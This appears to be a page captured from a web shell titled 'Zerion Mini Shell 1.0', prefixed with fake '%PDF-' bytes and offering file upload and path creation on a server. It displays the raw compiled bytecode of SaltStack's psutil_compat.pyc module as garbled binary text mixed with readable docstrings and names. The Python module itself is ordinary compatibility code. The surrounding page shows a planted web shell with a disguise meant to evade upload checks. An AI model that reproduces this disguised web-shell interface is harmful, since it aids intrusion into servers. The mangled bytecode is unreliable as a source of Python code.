%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyc

�
���^c@@s3dZddlmZmZmZddlmZddlZejd/krZddlTn�e	�Z
xlejD]aZe
de	�e�egejr�dnd�Zyeee�e
e<Wqmek
r�qmXqmWdd	lmZdd
lmZd�Zd�ZejZy
ejZWnek
r6d
�ZnXejd0krUej�Zndejfd��YZidd6dd6dd6dd6dd6dd6dd6dd 6d!d"6d#d$6d%d&6d'd(6d)d*6d+d,6d-d.6ZxOeje�D]>\Z Z!ye"ee ejj#e!�Wq�e$k
r*q�Xq�WdS(1u#
Version agnostic psutil hack to fully support both old (<2.0) and new (>=2.0)
psutil versions.

The old <1.0 psutil API is dropped in psutil 3.0

Should be removed once support for psutil <2.0 is dropped. (eg RHEL 6)

Built off of http://grodola.blogspot.com/2014/01/psutil-20-porting.html
i(tabsolute_importtprint_functiontunicode_literals(tsixNi(t*upsutili����(tdisk_partitions(t
disk_usagecC@stjS(N(tpsutilt	BOOT_TIME(((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyt	boot_time*scC@stjS(N(RtNUM_CPUS(((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyt	cpu_count-scC@sd�dD�jtd��S(Ncs@s|]}|VqdS(N((t.0t_((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pys	<genexpr>5suYour psutil version is too old((tthrowtNotImplementedError(((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyt<lambda>5sitProcesscB@s,eZd�Zd�Zd�Zd�ZRS(cO@s*|s|r|j||�S|j�SdS(N(tset_cpu_affinitytget_cpu_affinity(tselftargstkwargs((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pytcpu_affinity>scO@s*|s|r|j||�S|j�SdS(N(t
set_ionicet
get_ionice(RRR((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pytioniceDscO@s*|s|r|j||�S|j�SdS(N(tset_nicetget_nice(RRR((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pytniceJscO@s<tjdkr8|s|r+|j||�S|j�SndS(uZ
            set_rlimit and get_limit were not introduced until psutil v1.1.0
            iiN(iii(Rtversion_infot
set_rlimitt
get_rlimit(RRR((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pytrlimitPs

(t__name__t
__module__RRRR!(((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyR<s			uget_childrenuchildrenuget_connectionsuconnectionsuget_cpu_percentucpu_percentu
get_cpu_timesu	cpu_timesuget_io_countersuio_countersuget_memory_infoumemory_infouget_ext_memory_infoumemory_info_exuget_memory_mapsumemory_mapsuget_memory_percentumemory_percentuget_num_ctx_switchesunum_ctx_switchesuget_num_fdsunum_fdsuget_num_threadsunum_threadsuget_open_filesu
open_filesuget_threadsuthreadsugetcwducwd(ii(iii(%t__doc__t
__future__RRRtsalt.extRRRtglobalst_globalst__all__tattrt
__import__tlocalstPY2t_temptgetattrtAttributeErrorRRR	Rtget_pid_listtpidst	get_userstuserstnetwork_io_counterstnet_io_countersRt_PROCESS_FUNCTION_MAPt	iteritemstnewtoldtsetattrt__dict__tKeyError(((s</usr/lib/python2.7/site-packages/salt/utils/psutil_compat.pyt<module>sZ
	0
			


!



Zerion Mini Shell 1.0